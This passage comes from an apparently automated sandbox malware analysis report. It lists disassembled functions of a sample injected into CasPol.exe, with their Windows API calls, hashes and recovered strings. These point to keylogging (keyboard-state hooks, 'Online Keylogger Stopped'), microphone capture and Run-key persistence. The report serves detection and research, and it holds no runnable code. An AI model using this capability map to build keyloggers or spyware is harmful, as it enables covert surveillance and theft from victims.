                                                                                                                                                                  • Instruction ID: c84c011be516b9a55b4d27d1f6be1bd7d35570b7e88518a67a440710abbdd315
                                                                                                                                                                  • Opcode Fuzzy Hash: bac99735e7dd953dd7de7a25bc7a472b089e844b0a047387f9cea53258e5f848
                                                                                                                                                                  • Instruction Fuzzy Hash: 780126F26097153EF62016796CC1F6B230CDF823B8B34073BF421652E1EAA8CC01506C
                                                                                                                                                                  Function 004380F5 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ___BuildCatchObject.LIBVCRUNTIME ref: 0043810F
                                                                                                                                                                    • Part of subcall function 0043805C: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0043808B
                                                                                                                                                                    • Part of subcall function 0043805C: ___AdjustPointer.LIBCMT ref: 004380A6
                                                                                                                                                                  • _UnwindNestedFrames.LIBCMT ref: 00438124
                                                                                                                                                                  • __FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00438135
                                                                                                                                                                  • CallCatchBlock.LIBVCRUNTIME ref: 0043815D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 737400349-0
                                                                                                                                                                  • Opcode ID: c8370f5f766c88f9b882548d03e746073a9763e8d7037f7b78bb80a5d64990c6
                                                                                                                                                                  • Instruction ID: 9a8277e88b86f5caaa8344fd0510e130f37262ecddc885b6c63592dc4fca678f
                                                                                                                                                                  • Opcode Fuzzy Hash: c8370f5f766c88f9b882548d03e746073a9763e8d7037f7b78bb80a5d64990c6
                                                                                                                                                                  • Instruction Fuzzy Hash: 09014032100208BBDF126E96CC45DEB7B69EF4C758F04500DFE4866121C739E861DBA8
                                                                                                                                                                  Function 0041B61A Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B647
                                                                                                                                                                  • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041B66C
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041B67A
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseCreateHandleReadSize
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3919263394-0
                                                                                                                                                                  • Opcode ID: 5b639659936e0bf80293aa969ecd5facc1abbd81689efef7b5bf737102e1771e
                                                                                                                                                                  • Instruction ID: 0a6fce4b3becde4f67ebc64a516323d43c368a538d14007d95c0a1c89629aad3
                                                                                                                                                                  • Opcode Fuzzy Hash: 5b639659936e0bf80293aa969ecd5facc1abbd81689efef7b5bf737102e1771e
                                                                                                                                                                  • Instruction Fuzzy Hash: B3F0F6B12053047FE6101B25FC85FBF375CDB867A5F00023EFC01A22D1DA658C459179
                                                                                                                                                                  Function 0041850C Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetSystemMetrics.USER32(0000004C,?,?,?,?,?,004185D2,?,?), ref: 00418519
                                                                                                                                                                  • GetSystemMetrics.USER32(0000004D,?,?,?,?,?,004185D2,?,?), ref: 0041851F
                                                                                                                                                                  • GetSystemMetrics.USER32(0000004E,?,?,?,?,?,004185D2,?,?), ref: 00418525
                                                                                                                                                                  • GetSystemMetrics.USER32(0000004F,?,?,?,?,?,004185D2,?,?), ref: 0041852B
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: MetricsSystem
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4116985748-0
                                                                                                                                                                  • Opcode ID: 5cbd94679aa6c8e7ceff70e29103114ee131790299e318eb9a9968d7a4031cfb
                                                                                                                                                                  • Instruction ID: 928f1b056b10b768f566869b0c9e39fed015f0adb742d9b99f9daccd71f82e50
                                                                                                                                                                  • Opcode Fuzzy Hash: 5cbd94679aa6c8e7ceff70e29103114ee131790299e318eb9a9968d7a4031cfb
                                                                                                                                                                  • Instruction Fuzzy Hash: 96F0D672B043216BCA00EA798C4556FBB97DFD02A4F25083FE6059B341DEB8EC4687D9
                                                                                                                                                                  Function 0041B37D Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                                                                                                                                  • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041B3D3
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041B3DB
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseHandleOpenProcess
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 39102293-0
                                                                                                                                                                  • Opcode ID: 51a17e5294b38f17d5f3a71b1001121c929f89ba237b4680bf25dfaaaa51ef0d
                                                                                                                                                                  • Instruction ID: bb9aee54fd4b55ef2446b45ef4d52834339351c189d8e7c886657dc3bd6b5f1d
                                                                                                                                                                  • Opcode Fuzzy Hash: 51a17e5294b38f17d5f3a71b1001121c929f89ba237b4680bf25dfaaaa51ef0d
                                                                                                                                                                  • Instruction Fuzzy Hash: 2FF04971204209ABD3106754AC4AFA7B27CDB40B96F000037FA61D22A1FFB4CCC146AE
                                                                                                                                                                  Function 00441EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • __startOneArgErrorHandling.LIBCMT ref: 00441F6D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorHandling__start
                                                                                                                                                                  • String ID: pow
                                                                                                                                                                  • API String ID: 3213639722-2276729525
                                                                                                                                                                  • Opcode ID: c11d7b0c0eb8e10153fe90c38a808d625a788e1790705f3c08302100bb714254
                                                                                                                                                                  • Instruction ID: c296867054112a427edbdd16b3baf579c6faf9d8481746a729c2ad46b2c40409
                                                                                                                                                                  • Opcode Fuzzy Hash: c11d7b0c0eb8e10153fe90c38a808d625a788e1790705f3c08302100bb714254
                                                                                                                                                                  • Instruction Fuzzy Hash: 2A517B61A1620196F7117714C98137F2BD0DB50741F688D6BF085423F9DF3D8CDA9A4E
                                                                                                                                                                  Function 00414B9B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CountEventTick
                                                                                                                                                                  • String ID: >G
                                                                                                                                                                  • API String ID: 180926312-1296849874
                                                                                                                                                                  • Opcode ID: 8970c785a5fde0425d3bdd382a7839f198ae3ee3428ffa10454bc42c3a0da609
                                                                                                                                                                  • Instruction ID: d5b3ec7783a4dd7183bbf31121b5a8e130ff38f85bff4fd723ced1f164cd3d8d
                                                                                                                                                                  • Opcode Fuzzy Hash: 8970c785a5fde0425d3bdd382a7839f198ae3ee3428ffa10454bc42c3a0da609
                                                                                                                                                                  • Instruction Fuzzy Hash: 1A5170315042409AC624FB71D8A2AEF73A5AFD1314F40853FF94A671E2EF389949C69A
                                                                                                                                                                  Function 004508DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00450B39,?,00000050,?,?,?,?,?), ref: 004509B9
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: ACP$OCP
                                                                                                                                                                  • API String ID: 0-711371036
                                                                                                                                                                  • Opcode ID: c357b999de04d1742fe2857fcf8a245ff63c46433d95171d83c673f3fe2cd13c
                                                                                                                                                                  • Instruction ID: 7e3e8aaac6bfe0b7539266298c93f9b0706a3ab6a9e9f394231f134d2b8bf5b7
                                                                                                                                                                  • Opcode Fuzzy Hash: c357b999de04d1742fe2857fcf8a245ff63c46433d95171d83c673f3fe2cd13c
                                                                                                                                                                  • Instruction Fuzzy Hash: 072138EAA04201A6F7348B558801B9B7396AF54B23F164826EC49D730BF739DD49C358
                                                                                                                                                                  Function 004049BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLocalTime.KERNEL32(?,00473EE8,004745A8,?,?,?,?,?,?,?,00414D7D,?,00000001,0000004C,00000000), ref: 004049F1
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  • GetLocalTime.KERNEL32(?,00473EE8,004745A8,?,?,?,?,?,?,?,00414D7D,?,00000001,0000004C,00000000), ref: 00404A4E
                                                                                                                                                                  Strings
                                                                                                                                                                  • KeepAlive | Enabled | Timeout: , xrefs: 004049E5
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: LocalTime
                                                                                                                                                                  • String ID: KeepAlive | Enabled | Timeout:
                                                                                                                                                                  • API String ID: 481472006-1507639952
                                                                                                                                                                  • Opcode ID: 4fbf8cc4982cbc942d3db3f2afc9c4eacdcd9657b35503fb3d66e7a76927aef2
                                                                                                                                                                  • Instruction ID: fa495feba5854bec2644a8330ceabc5ae1d4c14ac10d4033695aa89a80f4fa5c
                                                                                                                                                                  • Opcode Fuzzy Hash: 4fbf8cc4982cbc942d3db3f2afc9c4eacdcd9657b35503fb3d66e7a76927aef2
                                                                                                                                                                  • Instruction Fuzzy Hash: 5A2126A1A042806BC310FB6AD80A76B7B9497D1319F44407EF849532E2DB3C5999CB9F
                                                                                                                                                                  Function 0041A686 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: LocalTime
                                                                                                                                                                  • String ID: | $%02i:%02i:%02i:%03i
                                                                                                                                                                  • API String ID: 481472006-2430845779
                                                                                                                                                                  • Opcode ID: 49072da793dd1067c8c4d4b952bdc095bcf71ad5a1237c39b773f575b27685be
                                                                                                                                                                  • Instruction ID: d205b4ebe2adc0156a37935a73d605e8b5d9817e81284f53efab16a15aec7ece
                                                                                                                                                                  • Opcode Fuzzy Hash: 49072da793dd1067c8c4d4b952bdc095bcf71ad5a1237c39b773f575b27685be
                                                                                                                                                                  • Instruction Fuzzy Hash: 80114C725082045AC704EBA5D8568AF73E8AB94708F10053FFC85931E1EF38DA84C69E
                                                                                                                                                                  Function 00419E89 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 00419EAE
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ExistsFilePath
                                                                                                                                                                  • String ID: alarm.wav$xIG
                                                                                                                                                                  • API String ID: 1174141254-4080756945
                                                                                                                                                                  • Opcode ID: a83789ed06d4bd6bc78d9f5caa1c4ae1948ed669f67617dd6d77616b3b752c21
                                                                                                                                                                  • Instruction ID: 7a4fe07350b1461b8d7cab7706a536354aa1130be6e3c83a2e6414618e768e61
                                                                                                                                                                  • Opcode Fuzzy Hash: a83789ed06d4bd6bc78d9f5caa1c4ae1948ed669f67617dd6d77616b3b752c21
                                                                                                                                                                  • Instruction Fuzzy Hash: 8B01802060420166C604B676D866AEE77458BC1719F40413FF89A966E2EF6CAEC6C2DF
                                                                                                                                                                  Function 0040A767 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 0040A884
                                                                                                                                                                    • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0040A7CA
                                                                                                                                                                  • UnhookWindowsHookEx.USER32 ref: 0040A7DD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                                                                                                                                  • String ID: Online Keylogger Stopped
                                                                                                                                                                  • API String ID: 1623830855-1496645233
                                                                                                                                                                  • Opcode ID: a471bc76fffd1fbac32a3585e4c4fab67e2de2ee53134a9f9046e82175b62acd
                                                                                                                                                                  • Instruction ID: 3c154674506c802d119dc10506b29c5389a087cae46ba36945c53301bfe6088f
                                                                                                                                                                  • Opcode Fuzzy Hash: a471bc76fffd1fbac32a3585e4c4fab67e2de2ee53134a9f9046e82175b62acd
                                                                                                                                                                  • Instruction Fuzzy Hash: CC01D431A043019BDB25BB35C80B7AEBBB59B45315F80407FE481225D2EB7999A6C3DB
                                                                                                                                                                  Function 004016E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • waveInPrepareHeader.WINMM(?,00000020,?), ref: 00401747
                                                                                                                                                                  • waveInAddBuffer.WINMM(?,00000020), ref: 0040175D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wave$BufferHeaderPrepare
                                                                                                                                                                  • String ID: T=G
                                                                                                                                                                  • API String ID: 2315374483-379896819
                                                                                                                                                                  • Opcode ID: 0ff4070462d876ba9a0314f854ca9e5b2f4718fb39603aa566027c6b2d74496f
                                                                                                                                                                  • Instruction ID: f8644d152c35c587af506687758c025c54344a6e575747702fe1289d7b8da532
                                                                                                                                                                  • Opcode Fuzzy Hash: 0ff4070462d876ba9a0314f854ca9e5b2f4718fb39603aa566027c6b2d74496f
                                                                                                                                                                  • Instruction Fuzzy Hash: 65018B71301300AFD7209F39EC45A69BBA9EB4931AF01413EB808D32B1EB34A8509B98
                                                                                                                                                                  Function 00447790 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • IsValidLocale.KERNEL32(00000000,j=D,00000000,00000001,?,?,00443D6A,?,?,?,?,00000004), ref: 004477DC
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: LocaleValid
                                                                                                                                                                  • String ID: IsValidLocaleName$j=D
                                                                                                                                                                  • API String ID: 1901932003-3128777819
                                                                                                                                                                  • Opcode ID: 700326c1a2573b6664808296cb94fd2409df718d2f56e2bd6c09d2c4f197ce31
                                                                                                                                                                  • Instruction ID: d075984350fdfa8650c9f53b231b8a0b142c4dacf6ed37e79753978632a381d4
                                                                                                                                                                  • Opcode Fuzzy Hash: 700326c1a2573b6664808296cb94fd2409df718d2f56e2bd6c09d2c4f197ce31
                                                                                                                                                                  • Instruction Fuzzy Hash: B7F0E930A45218F7EA116B61DC06F5EBB54CF49B11F50407AFD056A293CB796D0195DC
                                                                                                                                                                  Function 00401D91 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: H_prolog
                                                                                                                                                                  • String ID: T=G$T=G
                                                                                                                                                                  • API String ID: 3519838083-3732185208
                                                                                                                                                                  • Opcode ID: ece060f59eec47038b163f6730b9b4774a9df75ced3df6c836fae2af045d366e
                                                                                                                                                                  • Instruction ID: 37a3980bbf64332544f5ef03d086655580814226aad47650f393c0c18fea351b
                                                                                                                                                                  • Opcode Fuzzy Hash: ece060f59eec47038b163f6730b9b4774a9df75ced3df6c836fae2af045d366e
                                                                                                                                                                  • Instruction Fuzzy Hash: BCF0E971A00220ABC714BB65C80669EB774EF41369F10827FB416B72E1CBBD5D04D65D
                                                                                                                                                                  Function 0040AD56 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetKeyState.USER32(00000011), ref: 0040AD5B
                                                                                                                                                                    • Part of subcall function 00409B10: GetForegroundWindow.USER32 ref: 00409B3F
                                                                                                                                                                    • Part of subcall function 00409B10: GetWindowThreadProcessId.USER32(00000000,?), ref: 00409B4B
                                                                                                                                                                    • Part of subcall function 00409B10: GetKeyboardLayout.USER32 ref: 00409B52
                                                                                                                                                                    • Part of subcall function 00409B10: GetKeyState.USER32(00000010), ref: 00409B5C
                                                                                                                                                                    • Part of subcall function 00409B10: GetKeyboardState.USER32(?), ref: 00409B67
                                                                                                                                                                    • Part of subcall function 00409B10: ToUnicodeEx.USER32 ref: 00409B8A
                                                                                                                                                                    • Part of subcall function 00409B10: ToUnicodeEx.USER32 ref: 00409BE3
                                                                                                                                                                    • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,00000000,0040A91C,00000000), ref: 00409D84
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                                                                                                                                                  • String ID: [AltL]$[AltR]
                                                                                                                                                                  • API String ID: 2738857842-2658077756
                                                                                                                                                                  • Opcode ID: 2d4b77a5ab42310f07ca9c8b3da7c02f816ae55a84891d8b572aa7cd1e2c76fb
                                                                                                                                                                  • Instruction ID: d2c0c429c9fe13b3c6c970781ecfc4970ab7400740a1dec538c1fc9fef0a0b20
                                                                                                                                                                  • Opcode Fuzzy Hash: 2d4b77a5ab42310f07ca9c8b3da7c02f816ae55a84891d8b572aa7cd1e2c76fb
                                                                                                                                                                  • Instruction Fuzzy Hash: 47E0652134072117C898323EA91E6EE3A228F82B65B80416FF8866BAD6DD6D4D5053CB
                                                                                                                                                                  Function 00448803 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _free.LIBCMT ref: 00448825
                                                                                                                                                                    • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                                                                                                    • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorFreeHeapLast_free
                                                                                                                                                                  • String ID: `@$`@
                                                                                                                                                                  • API String ID: 1353095263-20545824
                                                                                                                                                                  • Opcode ID: 9a963da6b0d453c70d37714207bd95daf40472698ea915a46c6a843fe12f4396
                                                                                                                                                                  • Instruction ID: 46705ffcfacdd7a720b29fb61e5cb4af2d59a6418439a2947ca99394172970e0
                                                                                                                                                                  • Opcode Fuzzy Hash: 9a963da6b0d453c70d37714207bd95daf40472698ea915a46c6a843fe12f4396
                                                                                                                                                                  • Instruction Fuzzy Hash: B9E06D761006059F8720DE6DD400A86B7E4EF95360320852AE89DE3310DB32E812CB40
                                                                                                                                                                  Function 0040ADB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetKeyState.USER32(00000012), ref: 0040ADB5
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: State
                                                                                                                                                                  • String ID: [CtrlL]$[CtrlR]
                                                                                                                                                                  • API String ID: 1649606143-2446555240
                                                                                                                                                                  • Opcode ID: b832f2ba8c23f1ed675ed1d8fb8a36e3adfa50d2a3dfff7a7859d4c0b25c7229
                                                                                                                                                                  • Instruction ID: 615b7dbe40c0b8188db9493e0f2b19f017fb36a74fa458c508a435569d7d4a1e
                                                                                                                                                                  • Opcode Fuzzy Hash: b832f2ba8c23f1ed675ed1d8fb8a36e3adfa50d2a3dfff7a7859d4c0b25c7229
                                                                                                                                                                  • Instruction Fuzzy Hash: 71E0862170071117C514353DD61A67F39228F41776F80013FF882ABAC6E96D8D6023CB
                                                                                                                                                                  Function 0041297A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00412986
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: DeleteOpenValue
                                                                                                                                                                  • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                                                                                                  • API String ID: 2654517830-1051519024
                                                                                                                                                                  • Opcode ID: 37dabd9028f0cede140cc98497e4e15f557d68d096268be44a89a64eb946223e
                                                                                                                                                                  • Instruction ID: 4813e9247c8a4fa7715124fbb4df20ddc3d96ddce1d5e270e7c0f337b45b5704
                                                                                                                                                                  • Opcode Fuzzy Hash: 37dabd9028f0cede140cc98497e4e15f557d68d096268be44a89a64eb946223e
                                                                                                                                                                  • Instruction Fuzzy Hash: 0AE01270310304BFEF104F61ED06FDB37ACBB80B89F004165F505E5191E2B5DD54A658
                                                                                                                                                                  Function 0043FA5E Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401AD8), ref: 0043FAF4
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0043FB02
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0043FB5D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide$ErrorLast
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1717984340-0
